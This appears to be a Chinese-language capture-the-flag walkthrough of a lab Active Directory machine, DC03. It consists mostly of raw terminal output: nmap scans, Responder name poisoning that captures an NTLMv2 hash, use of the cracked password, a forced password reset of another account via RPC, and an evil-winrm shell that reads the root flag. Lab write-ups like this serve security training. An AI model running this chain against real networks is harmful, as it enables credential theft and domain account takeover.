⚡ root@kali ~ nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 01:51 EST Nmap scan report for 192.168.56.1 Host is up (0.00044s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for 192.168.56.2 Host is up (0.00026s latency). MAC Address: 08:00:27:C9:BF:B4 (Oracle VirtualBox virtual NIC) Nmap scan report for SOUPEDECODE.LOCAL (192.168.56.126) Host is up (0.00040s latency). MAC Address: 08:00:27:21:0C:DA (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 28.00 seconds
⚡ root@kali ~ nmap -sT -min-rate 10000 -p- 192.168.56.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 01:52 EST Nmap scan report for SOUPEDECODE.LOCAL (192.168.56.126) Host is up (0.00099s latency). Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws MAC Address: 08:00:27:21:0C:DA (Oracle VirtualBox virtual NIC)
⚡ root@kali ~ nmap -sT -A -T4 -O -p 445,389 192.168.56.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 01:53 EST Nmap scan report for SOUPEDECODE.LOCAL (192.168.56.126) Host is up (0.00084s latency).
PORT STATE SERVICE VERSION 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? MAC Address: 08:00:27:21:0C:DA (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.84 ms SOUPEDECODE.LOCAL (192.168.56.126)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.08 seconds
root@kali ~/Desktop/test/DC03 responder -I eth1 -wd __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.5.0 To support this project: Github -> https://github.com/sponsors/lgandx Paypal -> https://paypal.me/PythonResponder .... [+] Listening for events... [*] [NBT-NS] Poisoned answer sent to 192.168.56.126 for name FILESERVER (service: File Server) [*] [LLMNR] Poisoned answer sent to 192.168.56.126 for name FileServer [*] [MDNS] Poisoned answer sent to 192.168.56.126 for name FileServer.local [*] [MDNS] Poisoned answer sent to fe80::dd4d:c480:d553:6413 for name FileServer.local [*] [LLMNR] Poisoned answer sent to fe80::dd4d:c480:d553:6413 for name FileServer [*] [MDNS] Poisoned answer sent to 192.168.56.126 for name FileServer.local [*] [LLMNR] Poisoned answer sent to 192.168.56.126 for name FileServer [*] [MDNS] Poisoned answer sent to fe80::dd4d:c480:d553:6413 for name FileServer.local [*] [LLMNR] Poisoned answer sent to fe80::dd4d:c480:d553:6413 for name FileServer [SMB] NTLMv2-SSP Client : fe80::dd4d:c480:d553:6413 [SMB] NTLMv2-SSP Username : soupedecode\xkate578 [SMB] NTLMv2-SSP Hash : xkate578::soupedecode:ca95e6d0aa430c62:8B512E10179B3FB25A14B93A6C9F59B5:010100000000000080BE8C195A7FDB0165AF79A641F2CB28000000000200080033004D0037004F0001001E00570049004E002D00540050005200330059004200440054004A004E00460004003400570049004E002D00540050005200330059004200440054004A004E0046002E0033004D0037004F002E004C004F00430041004C000300140033004D0037004F002E004C004F00430041004C000500140033004D0037004F002E004C004F00430041004C000700080080BE8C195A7FDB0106000400020000000800300030000000000000000000000000400000EAC8058D7BFBA6470EC09C40DAB5EACCEBBCB9535C70E24094CF6AC5AD46C97D0A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000
可以看到靶机一直在请求FileServer 的域名，Responder响应了靶机的请求，使其将 FILESERVER 名称解析到攻击者的 IP 地址，并且抓到呢xkate578用户的net NTLM hash
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share share Disk SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.56.126 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
在share文件夹下发现UserFlag
1 2 3 4 5 6 7 8 9
⚡ root@kali ~/Desktop/test/DC03 smbclient //192.168.56.126/share -U SOUPEDECODE.LOCAL/xkate578%jesuschrist Try "help" to get a list of possible commands. smb: \> ls . DR 0 Thu Aug 1 02:06:14 2024 .. D 0 Thu Aug 1 01:38:08 2024 desktop.ini AHS 282 Thu Aug 1 01:38:08 2024 user.txt A 70 Thu Aug 1 01:39:25 2024
12942591 blocks of size 4096. 10929469 blocks available
[*] Setting the password of SOUPEDECODE.LOCAL\fbeth103 as SOUPEDECODE.LOCAL\xkate578 [*] Connecting to DCE/RPC as SOUPEDECODE.LOCAL\xkate578 [*] Password was changed successfully. [!] User no longer has valid AES keys for Kerberos, until they change their password again.
1 2 3 4 5 6 7 8 9 10 11 12
root@kali ~/Desktop/test/DC03/output evil-winrm -i 192.168.56.126 -u fbeth103 -p hacked! Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt b8e59a7d4020792c412da75e589ff4fc
还可以使用rpcclient来修改密码
1 2 3 4 5 6 7 8 9 10 11 12 13
⚡ root@kali ~/Desktop/test/DC03/output rpcclient -U SOUPEDDECODE.LOCAL/xkate578%jesuschrist 192.168.56.126 rpcclient $> setuserinfo2 fbeth103 23 213121231 rpcclient $> exit ⚡ root@kali ~/Desktop/test/DC03/output evil-winrm -i 192.168.56.126 -u fbeth103 -p 213121231 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\fbeth103\Documents>
